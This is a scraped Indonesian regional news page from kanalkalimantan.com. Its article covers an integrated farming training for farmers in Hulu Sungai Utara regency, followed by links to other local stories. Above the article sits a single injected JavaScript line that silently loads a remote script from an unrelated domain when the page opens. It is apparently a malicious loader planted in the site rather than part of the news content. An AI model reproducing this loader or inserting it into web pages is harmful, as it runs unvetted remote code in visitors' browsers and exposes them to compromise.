(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Melalui pembekalan dan Pelatihan Tematik Ppengelolaan Pertanian Terpadu, para petani di Kabupaten Hulu Sungai Utara (HSU) diharapkan mampu meningkatkan produktivitas hasil pertaniannya.
Hal tersebut disampaikan Kadis Pertanian HSU, H Yuli Hertawan saat membuka Pelatihan Tematik Pengelolaan Pertanian Terpadu kepada para petani dari beberapa desa dan Kecamatan se Kabupaten HSU, Rabu (14/8). Kegiatan yang digelar selama tiga hari, dari tanggal 14-16 Agustus di desa Karias Dalam, Kecamantan Banjang.
Disamping membahas cara peningkatan melalui Pelatihan Tematik Pengelolaan Pertanian Terpadu dengan pemanfaatan lahan dan kondisi geografis HSU yang merupakan lahan lebak oleh Balai Penyuluh Pertanian Kecamantan Banjang. Kegiatan ini juga diisi narasumber dari Balai Besar Pelatihan Pertanian (BBPP) Binuang.
“Karena pertanian terpadu sejalan dengan program kita Dinas pertanian yaitu melalui strategi yang dibuat untuk peningkatan produktivitas dan mutu tanaman pangan dengan pemanfaatan sumber daya secara optimal,” jelas Yuli.
Ia menjelaskan, pertanian terpadu adalah pemanfaatan lahan pertanian tidak hanya untuk tanaman padi saja, akan tetapi multi pemanfaatan. Sehingga dapat sekaligus dimanfaatkan untuk lahan perikanan, peternakan bebek dan lain sebagainya.
Dengan kondisi geografis HSU yang merupakan lahan rawa lebak, Yuli Hertawan meyakini, peningkatan produktivitas hasil padi dua kali setahun dan pemanfaatan lahan pertanian terpadu dapat terwujud. “Hal ini apabila para petani dengan sungguh sungguh menjalaninya,” katanya.
Hal serupa disampaikan Kepala BBPP Binuang Susmawati. Ia menjelaskan, pertanian terpadu mempunyai beberapa keuntungan yang dapat diperoleh, baik untuk pertanian, peternakan serta tanaman holtikultura dan pangan lainnya.
Menurut Susmawati, peternakan itik yang ada diKabupaten HSU dapat diusaha tanikan dengan tanaman pertanian terpadu. “Konsep pertanian terpadu, mudah mudahan selama mengikuti pelatihan, para bapak ibu-ibu petani bisa diterapkan di lahannya dan desanya masing-masing,” terangnya. (dew)
KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
This website uses cookies.